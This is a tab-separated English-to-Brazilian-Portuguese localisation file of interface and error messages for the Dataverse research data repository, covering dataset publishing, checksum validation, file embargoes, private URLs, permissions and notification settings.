dataset.publish.file.validation.error.details	The dataset could not be published because one or more of the datafiles in the dataset could not be validated (physical file missing, checksum mismatch, etc.)	O conjunto de dados não pôde ser publicado porque um ou mais dos arquivos de dados no conjunto de dados não puderam ser validados (arquivo físico ausente, incompatibilidade de soma de verificação, etc.)
dataset.publish.file.validation.error.contactSupport	The dataset could not be published because one or more of the datafiles in the dataset could not be validated (physical file missing, checksum mismatch, etc.) Please contact support for further assistance.	O conjunto de dados não pôde ser publicado porque um ou mais dos arquivos de dados no conjunto de dados não puderam ser validados (arquivo físico ausente, incompatibilidade de soma de verificação, etc.) Entre em contato com o suporte para obter mais assistência.
dataset.publish.file.validation.error.noChecksumType	Checksum type not defined for datafile id {0}	Tipo de checksum não definido para o id do arquivo de dados {0}
dataset.publish.file.validation.error.failRead	Failed to open datafile id {0} for reading	Falha ao abrir id do arquivo de dados {0} para leitura
dataset.publish.file.validation.error.failCalculateChecksum	Failed to calculate checksum for datafile id {0}	Falha ao calcular a soma de verificação para id do arquivo de dados {0}
dataset.publish.file.validation.error.wrongChecksumValue	Checksum mismatch for datafile id {0}	Checksum incompatível para o id do arquivo de dados {0}
dataset.message.editMetadata.duplicateFilenames	Duplicate filenames: {0}	Nomes de arquivos duplicados: {0}
dataset.message.locked.publishNotAllowed	Dataset cannot be published due to dataset lock.	O conjunto de dados não pode ser publicado devido ao bloqueio do conjunto de dados.
file.count.label	File Count	Contagem de arquivos
file.select.tooltip	Select Files	Selecionar arquivos
file.actionsBlock	File Actions	Ações de arquivo
file.accessBtn	Access File	Acessar arquivo
file.accessBtn.header.download	Download Options	Opções de download
file.editBtn	Edit File	Editar arquivo
file.contactBtn	Contact Owner	Contactar o proprietário
file.shareBtn	Share	Compartilhar
file.share.title	Share File	Compartilhar arquivo
file.share.tip	Share this file on your favorite social media networks.	Compartilhe este arquivo em suas redes de mídia social favoritas.
file.share.text	View this file.	Exibir este arquivo.
file.delete.duplicate.multiple	Delete Duplicate Files	Excluir arquivos duplicados
file.delete.duplicate.single	Delete Duplicate File	Excluir arquivo duplicado
file.deleted.upload.success.single	File has been deleted and wonu2019t be included in this upload.	O arquivo foi excluído e não será incluído neste upload.
file.deleted.upload.success.multiple	Files have been deleted and wonu2019t be included in this upload.	Os arquivos foram excluídos e não serão incluídos neste upload.
file.addreplace.warning.duplicate_file	This file has the same content as {0} that is in the dataset.	Este arquivo possui o mesmo conteúdo que {0} que está no conjunto de dados.
file.addreplace.error.duplicate_file.continue	You may delete if it was not intentional.	Você pode excluir se não for intencional.
file.addreplace.already_exists.header	Duplicate File Uploaded	Arquivo duplicado enviado
file.addreplace.already_exists.header.multiple	Duplicate Files Uploaded	Arquivos duplicados enviados
dataset.file.exist.test	{0, choice, 1#File \|2#Files \|} {1} {0, choice, 1#has \|2#have \|} the same content as {2} that already {0, choice, 1#exist \|2#exist \|}in the dataset.	{0, choice, 1#File \|2#Files \|} {1} {0, choice, 1#has \|2#have \|} o mesmo conteúdo que {2} JÁ {0, choice, 1#exist \|2#exist \|} no conjunto de dados.
dataset.file.inline.message	This file has the same content as {0}.	Este arquivo possui o mesmo conteúdo que {0}.
dataset.file.upload.popup.explanation.tip	For more information, please refer to the Duplicate Files section of the User Guide.	Para obter mais informações, consulte o seção Arquivos duplicados do Guia do Usuário .
files.api.metadata.update.duplicateFile	Filename already exists at {0}	O nome do arquivo já existe em {0}
access.api.exception.version.not.found	Could not find requested dataset version.	Não foi possível encontrar a versão do conjunto de dados solicitada.
externaltools.dct.displayname	Data Curation Tool	Ferramenta de Curadoria de Dados
externaltools.dct.description	Data Curation Tool for curation of variables	Ferramenta de Curadoria de Dados para curadoria de variáveis
externaltools.explorer.displayname	Data Explorer	Data Explorer
externaltools.explorer.description	The Data Explorer provides a GUI which lists the variables in a tabular data file allowing searching, charting and cross tabulation analysis.	O Data Explorer fornece uma GUI que lista as variáveis em um arquivo de dados tabular permitindo pesquisa, gráficos e análise de tabulação cruzada.
api.admin.datasetfield.load.ArrayIndexOutOfBoundMessage	Error parsing metadata block in {0} part, line #{1}: missing ´´{2}´´ column (#{3})	Erro ao analisar bloco de metadados em {0} parte, linha nº {1}: coluna ´´ {2} ´´ ausente (# {3})
api.admin.datasetfield.load.GeneralErrorMessage	Error parsing metadata block in {0} part, line #{1}: {2}	Erro ao analisar o bloco de metadados em {0} parte, linha # {1}: {2}
pids.api.reservePid.success	PID reserved for {0}	PID reservado para {0}
pids.api.deletePid.success	PID deleted for {0}	PID excluído para {0}
pids.deletePid.failureExpected	Unable to delete PID {0}. Status code: {1}.	Incapaz de excluir PID {0}. Código de status: {1}.
pids.deletePid.failureOther	Problem deleting PID {0}: {1}	Problema ao excluir PID {0}: {1}
pids.commands.reservePid.failure	Problem reserving PID for dataset id {0}: {1}.	Problema ao reservar PID para o id do conjunto de dados {0}: {1}.
pids.datacite.errors.noErrorStream	No error stream.	Sem fluxo de erro.
pids.datacite.errors.DoiOnly	Only doi: is supported.	Apenas doi: é compatível.
publishDatasetCommand.pidNotReserved	Cannot publish dataset because its persistent identifier has not been reserved.	Não é possível publicar o conjunto de dados porque seu identificador persistente não foi reservado.
api.errors.invalidApiToken	Invalid API token.	Token de API inválido.
public	Public	Público
created	Created	Criado
deposited	Deposited	Depositado
published	Published	Publicado
copyClipboard	Copy to Clipboard	Copiar para a área de transferência
truncateMoreBtn	Read full {0} [+]	Lido completo {0} [+]
truncateMoreTip	Click to read the full {0}.	Clique para ler o {0} completo.
truncateLessBtn	Collapse {0} [+]	Recolher {0} [+]
truncateLessTip	Click to collapse the {0}.	Clique para recolher o {0}.
conditionalRequiredMsg	One or more of these fields may become required if you add to one or more of these optional fields.	Um ou mais desses campos podem se tornar obrigatórios se você adicionar um ou mais desses campos opcionais.
conditionalRequiredMsg.tooltip	This field will become required if you choose to enter values in one or more of these optional fields.	Este campo se tornará obrigatório se você optar por inserir valores em um ou mais desses campos opcionais.
contact.sum.title	Human Access Validation Answer	Resposta de Validação de Acesso Humano
account.emailvalidation.header	Email Validation	Validação de Email
account.emailvalidation.token.exists	A verification email has been sent to {0}. Please check your inbox.	Um e-mail de verificação foi enviado para {0}. Por favor, verifique sua caixa de entrada.
notification.workflowFailed	An external workflow run on {0} in {1} has failed. Check your email and/or view the Dataset page which may have additional details. Contact support if this continues to happen.	Um fluxo de trabalho externo executado em {0} em {1} falhou. Verifique seu e-mail e / ou veja a página Conjunto de dados, que pode conter detalhes adicionais. Entre em contato com o suporte se isso continuar a acontecer.
notification.workflowSucceeded	An external workflow run on {0} in {1} has succeeded. Check your email and/or view the Dataset page which may have additional details.	Um fluxo de trabalho externo executado em {0} em {1} foi bem-sucedido. Verifique seu e-mail e / ou veja a página Conjunto de dados, que pode conter detalhes adicionais.
oauth2.convertAccount.failedDeactivated	Your existing account cannot be converted because it has been deactivated.	Sua conta existente não pode ser convertida porque foi desativada.
deactivated.error	Sorry, your account has been deactivated.	Desculpe, sua conta foi desativada.
dashboard.list_users.tbl_header.deactivated	deactivated	desativado
notification.email.workflow.success.subject	{0}: Your dataset has been processed	{0}: Seu conjunto de dados foi processado
notification.email.workflow.success	A workflow running on {0} (view at {1} ) succeeded: {2}	Um fluxo de trabalho em execução em {0} (visualizar em {1}) foi bem-sucedido: {2}
notification.email.workflow.failure.subject	{0}: Failed to process your dataset	{0}: Falha ao processar seu conjunto de dados
notification.email.workflow.failure	A workflow running on {0} (view at {1} ) failed: {2}	Um fluxo de trabalho em execução em {0} (visualizar em {1}) falhou: {2}
notification.email.workflow.nullMessage	No additional message sent from the workflow.	Nenhuma mensagem adicional enviada do fluxo de trabalho.
notification.email.greeting.html	Hello,	Olá,
notification.email.closing.html	You may contact us for support at {0}. Thank you, {1}	Você pode entrar em contato conosco para obter suporte em {0}. Obrigado, {1}
dataverse.linked.error.alreadyLinked	{0} has already been linked to {1}.	{0} já foi vinculado a {1}.
advanced.search.files.fileTags	File Tags	Tags de arquivo
advanced.search.files.fileTags.tip	Terms such "Documentation", "Data", or "Code" that have been applied to files.	Termos como "Documentação", "Dados" ou "Código" que foram aplicados aos arquivos.
dataverse.permissions.roles.alias.required	Please enter a unique identifier for this role.	Insira um identificador exclusivo para esta função.
dataverse.permissions.roles.name.required	Please enter a name for this role.	Digite um nome para esta função.
dataset.guestbookResponse.showPreview.errorMessage	Can´t show preview.	Não é possível exibir a visualização.
dataset.guestbookResponse.showPreview.errorDetail	Couldn´t write guestbook response.	Não foi possível escrever a resposta do livro de visitas.
dataset.link.not.already.linked	Can´t link a dataset that has already been linked to this dataverse	Não é possível vincular um conjunto de dados que já foi vinculado a este dataverse
dataset.message.publish.remind.draft	When ready for sharing, please publish it so that others can see these changes.	Se estiver pronto para ser compartilhado, publique .
dataset.message.submit.remind.draft	When ready for sharing, please submit it for review.	Se estiver pronto para ser compartilhado, envie-o para análise .
dataset.message.publish.remind.version	If it´s ready for sharing, please publish it so that others can see these changes.	Se estiver pronto para compartilhamento, publique para que outras pessoas possam ver essas alterações.
dataset.message.submit.remind.version	If it´s ready for sharing, please submit it for review so that others can see these changes.	Se estiver pronto para ser compartilhado, envie-o para análise para que outras pessoas possam ver essas alterações.
file.viewDiffDialog.fileAccess	Access	Acesso
dataset.noSelectedFiles	Please select one or more files.	Selecione um ou mais arquivos.
file.optionsBtn	File Options	Opções de arquivo
file.optionsBtn.header.edit	Edit Options	Opções de edição
file.optionsBtn.header.configure	Configure Options	Configurar opções
file.alreadyDeleted.warning.header	Edit File	Editar Arquivo
file.metaData.checksum.copy	Click to copy	Clique para copiar
file.metaData.dataFile.dataTab.unf	UNF	UNF
file.previewTab.openBtn	Open in New Window	Abrir em uma nova janela
file.addreplace.error.parsing	Error in parsing provided json	Erro na análise de json fornecido
file.addreplace.warning.unzip.failed	Failed to unzip the file. Saving the file as is.	Falha ao descompactar o arquivo. Salvando o arquivo como está.
file.addreplace.warning.unzip.failed.size	A file contained in this zip file exceeds the size limit of {0}. This Dataverse installation will save and display the zipped file, rather than unpacking and displaying files.	Um arquivo contido neste arquivo zip excede o limite de tamanho de {0}. Esta instalação do Dataverse salvará e exibirá o arquivo compactado, em vez de descompactar e exibir os arquivos.
find.dataverse.role.error.role.not.found.id	Dataverse Role with ID {0} not found.	Função do Dataverse com ID {0} não encontrada.
find.dataverse.role.error.role.not.found.bad.id	Bad Dataverse Role ID number: {0}	Número de ID da função do Dataverse inválido: {0}
find.dataverse.role.error.role.not.found.alias	Dataverse Role with alias {0} not found.	Função do Dataverse com alias {0} não encontrada.
find.dataverse.role.error.role.builtin.not.allowed	May not delete Built In Role {0}.	Não pode excluir a função integrada {0}.
dataset.access.description	Restricting limits access to published files. People who want to use the restricted files can request access by default.	Restringindo o acesso aos arquivos publicados. Você pode adicionar ou editar os Termos de Acesso para o conjunto de dados e permitir que as pessoas solicitem acesso a arquivos restritos.
dataverse.item.required.conditional	Conditionally Required	Condicionalmente Obrigatório
shib.convert.fail.deactivated	Your existing account cannot be converted because it has been deactivated.	Sua conta existente não pode ser convertida porque foi desativada.
permission.role.must.be.created.by.superuser	Roles can only be created or edited by superusers.	As funções só podem ser criadas ou editadas por superusuários.
permission.role.not.created.alias.already.exists	Role with this alias already exists.	A função com este alias já existe.
command.exception.user.deactivated	{0} failed: User account has been deactivated.	{0} falhou: a conta do usuário foi desativada.
command.exception.user.deleted	{0} failed: User account has been deleted.	{0} falhou: a conta do usuário foi excluída.
admin.api.deleteUser.failure.savedSearches	the user has created saved searches	o usuário criou pesquisas salvas
access.api.exception.metadata.restricted.no.permission	You do not have permission to download this file.	Você não tem permissão para baixar este arquivo.
isrequired.conditional	{0} is required if you choose to enter a value in any of the optional {1} fields.	{0} é obrigatório se você optar por inserir um valor em qualquer um dos campos {1} opcionais.
pids.datacite.errors.noResponseCode	Problem getting HTTP status code from {0}. Is it in DNS? Is doi.dataciterestapiurlstring configured properly?	Problema ao obter o código de status HTTP de {0}. Está no DNS? O doi.dataciterestapiurlstring está configurado corretamente?
curationLabels	Curation Labels	Etiquetas de curadoria
metadataLanguage	Dataset Metadata Language	Linguagem de metadados do conjunto de dados
notification.datasetCreated	{0} was created in {1} by {2}.	{0} foi criado em {1} por {2}.
notification.statusUpdated	The status of dataset {0} has been updated to {1}.	O status do conjunto de dados {0} foi atualizado para {1}.
harvestserver.editSetDialog.setspec.notFound	Set for editing not found!	Definido para edição não encontrado!
harvestserver.editSetDialog.setspec.noChanges	Invalid update! You must provide a definition and/or description to be updated.	Atualização inválida! Você deve fornecer uma definição e / ou descrição a ser atualizada.
harvestserver.deleteSetDialog.setspec.superUser.required	Only superusers may delete OAI sets.	Apenas superusuários podem excluir conjuntos OAI.
dashboard.list_users.tbl_header.userIdAZ	ID (A-Z)	ID (A-Z)
dashboard.list_users.tbl_header.userIdZA	ID (Z-A)	ID (Z-A)
dashboard.list_users.tbl_header.userIdentifierAZ	Username (A-Z)	Nome de usuário (A-Z)
dashboard.list_users.tbl_header.userIdentifierZA	Username (Z-A)	Nome de usuário (Z-A)
dashboard.list_users.tbl_header.lastNameAZ	Last Name (A-Z)	Sobrenome (A-Z)
dashboard.list_users.tbl_header.lastNameZA	Last Name (Z-A)	Sobrenome (Z-A)
dashboard.list_users.tbl_header.emailAZ	Email (A-Z)	Email (A-Z)
dashboard.list_users.tbl_header.emailZA	Email (Z-A)	Email (Z-A)
dashboard.list_users.tbl_header.affiliationAZ	Affiliation (A-Z)	Afiliação (A-Z)
dashboard.list_users.tbl_header.affiliationZA	Affiliation (Z-A)	Afiliação (Z-A)
dashboard.list_users.tbl_header.superuserAZ	Superuser (A-Z)	Superusuário (A-Z)
dashboard.list_users.tbl_header.superuserZA	Superuser (Z-A)	Superusuário (Z-A)
dashboard.list_users.tbl_header.authProviderFactoryAliasAZ	Authentication (A-Z)	Autenticação (A-Z)
dashboard.list_users.tbl_header.authProviderFactoryAliasZA	Authentication (Z-A)	Autenticação (Z-A)
notification.email.dataset.created.subject	{0}: Dataset "{1}" has been created	{0}: Conjunto de dados "{1}" foi criado
notification.email.status.change.subject	{0}: Dataset Status Change	{0}: Alteração de status do conjunto de dados
notification.email.status.change	The Status of the dataset ({0}) has changed to {1}	O status do conjunto de dados ({0}) mudou para {1}
notification.email.datasetWasCreated	Dataset "{1}" was just created by {2} in the {3} collection.	O conjunto de dados " {1} " acabou de ser criado por {2} na coleção {3}.
contact.delegation.default_personal	Dataverse Installation Admin	Administrador de instalação do Dataverse
dataverse.metadatalanguage.title	Metadata entered for datasets in this dataverse will be assumed to be in the selected language.	Os metadados inseridos para conjuntos de dados neste dataverse serão considerados no idioma selecionado.
dataverse.curationLabels.title	A set of curation status labels that are used to indicate the curation status of draft datasets.	Um conjunto de rótulos de status de curadoria que são usados para indicar o status de curadoria de conjuntos de dados de rascunho.
dataverse.curationLabels.disabled	Disabled	Desativado
dataverse.inherited	(inherited from enclosing Dataverse)	(herdado de incluir o Dataverse)
dataverse.default	(Default)	(padrão)
dataset.anonymized.withheld	withheld	retido
dataset.metadatalanguage.create.guidance	Please enter metadata in the {0} language, or change the metadata language choice in the parent dataverse before proceeding.	Insira os metadados no idioma {0} ou altere a escolha do idioma dos metadados no dataverso pai antes de continuar.
dataset.metadatalanguage.view.guidance	This dataset has been configured to use {0} as the language for all metadata entries.	Este conjunto de dados foi configurado para usar {0} como o idioma para todas as entradas de metadados.
dataset.accessBtn.too.big	The dataset is too large to download. Please select the files you need from the files table.	O conjunto de dados é muito grande para fazer o download. Selecione os arquivos de que você precisa na tabela de arquivos.
dataset.accessBtn.original.too.big	The dataset is too large to download in the original format. Please select the files you need from the files table.	O conjunto de dados é muito grande para fazer o download no formato original. Selecione os arquivos de que você precisa na tabela de arquivos.
dataset.accessBtn.archival.too.big	The dataset is too large to download in the archival format. Please select the files you need from the files table.	O conjunto de dados é muito grande para fazer o download no formato de arquivo. Selecione os arquivos de que você precisa na tabela de arquivos.
dataset.changestatus	Change Curation Status	Alterar status de curadoria
dataset.removestatus	Remove Current Status	Remover Status Atual
dataset.status.failure.notallowed	Status update failed - label not allowed	Falha na atualização de status - rótulo não permitido
dataset.status.failure.disabled	Status labeling disabled for this dataset	Rotulagem de status desativada para este conjunto de dados
dataset.status.failure.isReleased	Latest version of dataset is already released. Status can only be set on draft versions	A versão mais recente do conjunto de dados já foi lançada. O status só pode ser definido em versões de rascunho
dataset.privateurl.createPrivateUrl.anonymized	Create URL for Anonymized Access	Criar URL para acesso anônimo
dataset.privateurl.createPrivateUrl.anonymized.unavailable	Anonymized Access is not available once a version of the dataset has been published	O acesso anônimo não está disponível uma vez que uma versão do conjunto de dados foi publicada
dataset.privateurl.full	This Private URL provides full read access to the dataset	Este URL privado fornece acesso de leitura total ao conjunto de dados
dataset.privateurl.anonymized	This Private URL provides access to the anonymized dataset	Este URL privado fornece acesso ao conjunto de dados anônimo
dataset.externalstatus.header	Curation Status Changed	Status de curadoria alterado
dataset.externalstatus.removed	Curation Status Removed	Status de curadoria removido
dataset.externalstatus.info	Curation Status is now "{0}"	O status de curadoria agora é "{0}"
dataset.externalstatus.cantchange	Unable to change Curation Status. Please contact the administrator.	Não é possível alterar o status de curadoria. Entre em contato com o administrador.
file.zip.download.exceeds.limit	The overall size of the files selected ({0}) for download exceeds the zip limit of {1}. Please unselect some files to continue.	O tamanho geral dos arquivos selecionados ({0}) para download excede o limite de compactação de {1}. Desmarque alguns arquivos para continuar.
file.zip.download.exceeds.limit.info	The files selected are too large to download as a ZIP.	Os arquivos selecionados são muito grandes para serem baixados como um ZIP.
file.zip.download.exceeds.limit.detail	You can select individual files that are below the {2} download limit from the files table, or use the Data Access API for programmatic access to the files.	Você pode selecionar arquivos individuais que estão abaixo do {2} limite de download na tabela de arquivos ou usar o API de acesso a dados para acesso programático aos arquivos.
file.zip.download.exceeds.limit.header	Download Options	Opções de download
file.metaData.fileAccess	File Access:	Acesso ao arquivo:
file.download.filetype.unknown	Original File Format	Formato de arquivo original
file.dataFilesTab.versions.headers.contributors.withheld	Contributor name(s) withheld	Nome (s) de contribuidor retido (s)
file.auxfiles.download.header	Download Auxiliary Files	Baixar arquivos auxiliares
file.auxfiles.types.DP	Differentially Private Statistics	Estatísticas Privadas Diferencialmente
file.auxfiles.unspecifiedTypes	Other Auxiliary Files	Outros arquivos auxiliares
file.anonymized.authorsWithheld	Author name(s) withheld	Nome (s) do autor retido (s)
dataset.file.upload.setUp.rsync.failed	Rsync upload setup failed!	Falha na configuração do upload Rsync!
dataset.file.upload.setUp.rsync.failed.detail	Unable to find appropriate storage driver.	Incapaz de encontrar o driver de armazenamento apropriado.
datasets.api.privateurl.error.datasetnotfound	Could not find dataset.	Não foi possível encontrar o conjunto de dados.
datasets.api.privateurl.error.alreadyexists	Private URL already exists for this dataset.	URL privado já existe para este conjunto de dados.
datasets.api.privateurl.error.notdraft	Can´t create Private URL because the latest version of this dataset is not a draft.	Não é possível criar um URL privado porque a versão mais recente deste conjunto de dados não é um rascunho.
datasets.api.privateurl.anonymized.error.released	Can´t create a URL for anonymized access because this dataset has been published.	Não é possível criar um URL para acesso anônimo porque este conjunto de dados foi publicado.
datasets.api.creationdate	Date Created	Data de Criação
datasets.api.modificationdate	Last Modified Date	Data da última modificação
datasets.api.curationstatus	Curation Status	Status de curadoria
dataverses.api.create.dataset.error.mustIncludeVersion	Please provide initial version in the dataset json	Forneça a versão inicial no conjunto de dados json
dataverses.api.create.dataset.error.superuserFiles	Only a superuser may add files via this api	Apenas um superusuário pode adicionar arquivos por meio desta API
access.api.exception.dataset.not.found	Could not find requested dataset.	Não foi possível encontrar o conjunto de dados solicitado.
embargoed	Embargoed	Embargado
embargoedaccess	Embargoed with Access	Embargado com Acesso
embargoedandrestricted	Embargoed and then Restricted	Embargado e depois restrito
embargoedandrestrictedaccess	Embargoed and then Restricted with Access	Embargado e depois restrito com acesso
metadatareleased	Metadata Released	Metadados liberados
embargoed.until	Embargoed until	Embargado até
embargoed.wasthrough	Was embargoed until	Foi embargado até
embargoed.willbeuntil	Draft: will be embargoed until	Rascunho: será embargado até
embargo.date.invalid	Date is outside the allowed range: ({0} to {1})	A data está fora do intervalo permitido: ({0} a {1})
embargo.date.required	An embargo date is required	É necessária uma data de embargo
dataverse.metadatalanguage.setatdatasetcreation	Chosen at Dataset Creation	Escolhido na criação do conjunto de dados
dataverse.results.paginator.first	First Page	Primeira página
dataverse.results.paginator.previous	Previous Page	Página anterior
dataverse.results.paginator.next	Next Page	Próxima página
dataverse.results.paginator.last	Last Page	Última página
facet.collection.label	Show Collections	Mostrar coleções
facet.dataset.label	Show Data Projects	Mostrar projetos de dados
facet.datafile.label	Show Files	Mostrar arquivos
dataset.metadatalanguage.title	Metadata entered for this dataset will be assumed to be in the selected language. Cannot be changed after dataset is created.	Os metadados inseridos para este conjunto de dados serão considerados no idioma selecionado. Não pode ser alterado após a criação do conjunto de dados.
dataset.metadatalanguage.tip	Select the language you wish to use when entering metadata.	Selecione o idioma que deseja usar ao inserir metadados.
dataset.manageGuestbooks.noGuestbooks.learnMore	To learn more about guestbooks, visit the Dataset Guestbook section of the User Guide.	Para saber mais sobre livros de visitas, visite o Livro de visitas do conjunto de dados do Guia do usuário.
dataset.manageGuestbooks.guestbook.customQuestions.questionType.textarea	Multiple Line	Linha múltipla
license.custom	Custom Dataset Terms	Termos do conjunto de dados personalizados
license.custom.description	Custom terms specific to this dataset	Termos personalizados específicos para este conjunto de dados
dataset.publish.terms.tip	This version of the dataset will be published with the following terms:	Esta versão do conjunto de dados será publicada com os seguintes termos:
dataset.publish.terms.help.tip	To change the terms for this version, click the Cancel button and go to the Terms tab for this dataset.	Para alterar os termos desta versão, clique no botão Cancelar e vá para a guia Termos para este conjunto de dados.
dataset.publish.terms.description	License Description	Descrição da Licença
dataset.compute.computeBatchChange	Change Compute Batch	Alterar lote de computação
dataset.metadata.citationDate	Citation Date	Data de citação
dataset.metadata.citationDate.tip	The citation date of a dataset, determined by the longest embargo on any file in version 1.0.	A data de citação de um conjunto de dados, determinada pelo embargo mais longo em qualquer arquivo na versão 1.0.
dataset.embargoedSelectedFilesForRequestAccess	Embargoed files cannot be accessed. Please select an unembargoed file or files for your access request.	Arquivos embargados não podem ser acessados. Selecione um arquivo ou arquivos sem embargo para sua solicitação de acesso.
dataset.inValidSelectedFilesForDownloadWithEmbargo	Embargoed and/or Restricted Files Selected	Arquivos embargados e/ou restritos selecionados
dataset.mixedSelectedFilesForDownloadWithEmbargo	The embargoed and/or restricted file(s) selected may not be downloaded because you have not been granted access.	Os arquivos embargados e/ou restritos selecionados podem não ser baixados porque você não recebeu acesso.
dataset.requestAccessToRestrictedFilesWithEmbargo	Embargoed files cannot be accessed during the embargo period. If your selection contains restricted files, you may request access to them by clicking the Request Access button.	Arquivos embargados não podem ser acessados durante o período de embargo. Se sua seleção contém arquivos restritos, você pode solicitar acesso a eles clicando no botão Solicitar acesso.
file.select.action	Select	Selecionar
file.selectToAdd.tipMaxNumFiles	Maximum of {0} {0, choice, 0#files\|1#file\|2#files} per upload.	Máximo de {0} {0} {0, choice, 0#files\|1#file\|2#files} por upload.
file.selectToAdd.tipTabularLimit	Tabular file ingest is limited to {2}.	A ingestão de arquivo tabular é limitada a {2}.
file.selectToAdd.tipPerFileTabularLimit	Ingest is limited to the following file sizes based on their format: {0}.	A ingestão é limitada aos seguintes tamanhos de arquivo com base em seu formato: {0}.
file.embargo	Embargo	Embargo
file.editEmbargo	Edit Embargo	Editar embargo
file.editEmbargo.add	Add or Change	Adicionar ou alterar
file.editEmbargo.delete	Remove	Remover
file.editEmbargoDialog.tip	Edit the planned embargo for the selected file or files. Once this dataset version is published, you will need to contact an administrator to change the embargo date or reason of the file or files.	Edite o embargo planejado para o arquivo ou arquivos selecionados. Assim que esta versão do conjunto de dados for publicada, você precisará entrar em contato com um administrador para alterar a data de embargo ou o motivo do arquivo ou arquivos.
file.editEmbargoDialog.some.tip	One or more of the selected files have already been published. Contact an administrator to change the embargo date or reason of the file or files.	Um ou mais dos arquivos selecionados já foram publicados. Entre em contato com um administrador para alterar a data de embargo ou o motivo do arquivo ou arquivos.
file.editEmbargoDialog.none.tip	The selected file or files have already been published. Contact an administrator to change the embargo date or reason of the file or files.	O arquivo ou arquivos selecionados já foram publicados. Entre em contato com um administrador para alterar a data de embargo ou o motivo do arquivo ou arquivos.
file.editEmbargoDialog.partial.tip	Any changes you make here will not be made to these files.	Quaisquer alterações feitas aqui não serão feitas nesses arquivos.
file.editEmbargoDialog.reason.tip	Enter a short reason why this embargo exists	Digite um breve motivo pelo qual este embargo existe
file.editEmbargoDialog.newReason	Add a reason...	Adicione um motivo...
file.editEmbargoDialog.newDate	Select the embargo end-date	Selecione a data de término do embargo
file.editEmbargoDialog.remove	Remove existing embargo(es) on selected files	Remova os embargos existentes nos arquivos selecionados
file.assignedEmbargo.success	An Embargo was successfully added for {0}.	Um embargo foi adicionado com sucesso para {0}.
file.accessRequested.success	Your request for access has been submitted. You will receive an email message and notification in the app when access is granted or rejected.	Sua solicitação de acesso foi enviada. Você receberá uma mensagem de e-mail e uma notificação no aplicativo quando o acesso for concedido ou rejeitado.
file.accessRequested.alreadyRequested	Access already available or requested for file: {0}	Acesso já disponível ou solicitado para arquivo: {0}
file.dataFilesTab.terms.list.license	License/Data Use Agreement	Contrato de Licença/Uso de Dados
file.dataFilesTab.terms.list.license.edit.description	This dataset will be published under the terms specified below. Our Community Norms as well as good scientific practices expect that proper credit is given via citation.	Este conjunto de dados será publicado nos termos especificados abaixo. Nossas Normas Comunitárias, bem como boas práticas científicas, esperam que o devido crédito seja dado por meio de citação.
file.dataFilesTab.terms.list.license.customterms.txt	u2014 the following Custom Dataset Terms have been defined for this dataset.	u2014, os seguintes Termos de Conjunto de Dados Personalizados foram definidos para este conjunto de dados.
file.dataFilesTab.terms.list.license.view.description	Our Community Norms as well as good scientific practices expect that proper credit is given via citation. Please use the data citation shown on the dataset page.	Declaro ter pleno conhecimento e concordo com as cláusulas e condições estabelecidas no Termo de Uso do Usuário. Espera-se a citação e referenciamento do conjunto de dados utilizados (crédito) conforme a orientação indicada na página do dataset.
file.dataFilesTab.terms.list.termsOfAccess.embargoed	Files are unavailable during the specified embargo.	Os arquivos não estão disponíveis durante o embargo especificado.
file.dataFilesTab.terms.list.termsOfAccess.embargoedthenrestricted	Files are unavailable during the specified embargo and restricted after that.	Os arquivos ficam indisponíveis durante o embargo especificado e são restritos depois disso.
file.requestAccessTermsDialog.embargoed.tip	Please confirm and/or complete the information needed below in order to request access to non-embargoed files in this dataset.	Confirme e/ou preencha as informações necessárias abaixo para solicitar acesso a arquivos não embargados neste conjunto de dados.
file.requestAccessTermsDialog.embargoed	Note: You have selected some embargoed files, which cannot be accessed. When you make this request, only un-embargoed files will be included.	Nota: Você selecionou alguns arquivos embargados, que não podem ser acessados. Ao fazer essa solicitação, apenas os arquivos não embargados serão incluídos.
file.requestAccess.notAllowed.embargoed	Access to actively embargoed files not allowed. Request Access is invalid.	Não é permitido o acesso a arquivos embargados ativamente. A solicitação de acesso é inválida.
file.metadataTab.fileMetadata.embargoReason.label	Embargo Reason	Motivo do Embargo
file.metadataTab.fileMetadata.metadataReleaseDate.label	Metadata Release Date	Data de lançamento de metadados
file.tableheader.info	File Info	Informações do arquivo
dataset.additionalEntry	Additional Entry	Entrada Adicional
permission.managePermissionsDataFile	Manage permissions for a file	Gerenciar permissões para um arquivo
dataset.license.custom.blankterms	When selecting Custom Dataset Terms, you must provide some Terms of Use.	Ao selecionar os Termos de Conjunto de Dados Personalizados, você deve fornecer alguns Termos de Uso.
permission.ManageFilePermissions.label	ManageFilePermissions	ManageFilePermissions
permission.ManageFilePermissions.desc	Manage permissions for a file	Gerenciar permissões para um arquivo
EmbargoedThenPublic	Embargoed then Public	Embargado e Públicado
EmbargoedThenRestricted	Embargoed then Restricted	Embargado e Restringido
notification.welcomeConfirmEmail	Also, check for your welcome email to verify your address.	Além disso, verifique seu e-mail de boas-vindas para verificar seu endereço.
notification.muteOptions	Notification settings	Configurações de notificação
notification.mutedEmails	Select the email notifications you wish to receive:	Selecione as notificações por e-mail que deseja receber:
notification.mutedNotifications	Select the in-app notifications you wish to receive:	Selecione as notificações no aplicativo que você deseja receber:
notification.typeDescription.ASSIGNROLE	Role is assigned	Função atribuída
notification.typeDescription.REVOKEROLE	Role is revoked	A função foi revogada
notification.typeDescription.CREATEDV	Dataverse collection is created	A coleção do Dataverse é criada
notification.typeDescription.CREATEDS	Your dataset is created	Seu conjunto de dados foi criado
notification.typeDescription.CREATEACC	Account is created	A conta foi criada
notification.typeDescription.SUBMITTEDDS	Submitted for review	Enviado para revisão
notification.typeDescription.RETURNEDDS	Returned from review	Retornado da revisão
notification.typeDescription.PUBLISHEDDS	Dataset is published	O conjunto de dados foi publicado
notification.typeDescription.REQUESTFILEACCESS	Access to file is requested	O acesso ao arquivo é solicitado
notification.typeDescription.GRANTFILEACCESS	Access to file is granted	O acesso ao arquivo é concedido
notification.typeDescription.REJECTFILEACCESS	Access to file is rejected	O acesso ao arquivo foi rejeitado
notification.typeDescription.FILESYSTEMIMPORT	Dataset has been successfully uploaded and verified	O conjunto de dados foi carregado e verificado com sucesso
notification.typeDescription.CHECKSUMIMPORT	Dataset had file checksums added via a batch job	O conjunto de dados teve somas de verificação de arquivo adicionadas por meio de um trabalho em lote
notification.typeDescription.CHECKSUMFAIL	Checksum validation failed	Falha na validação da soma de verificação
notification.typeDescription.CONFIRMEMAIL	Email Verification	Verificação de e-mail
notification.typeDescription.APIGENERATED	API token is generated	O token da API é gerado
notification.typeDescription.INGESTCOMPLETED	Ingest is completed	A ingestão foi concluída
notification.typeDescription.INGESTCOMPLETEDWITHERRORS	Ingest completed with errors	Ingestão concluída com erros
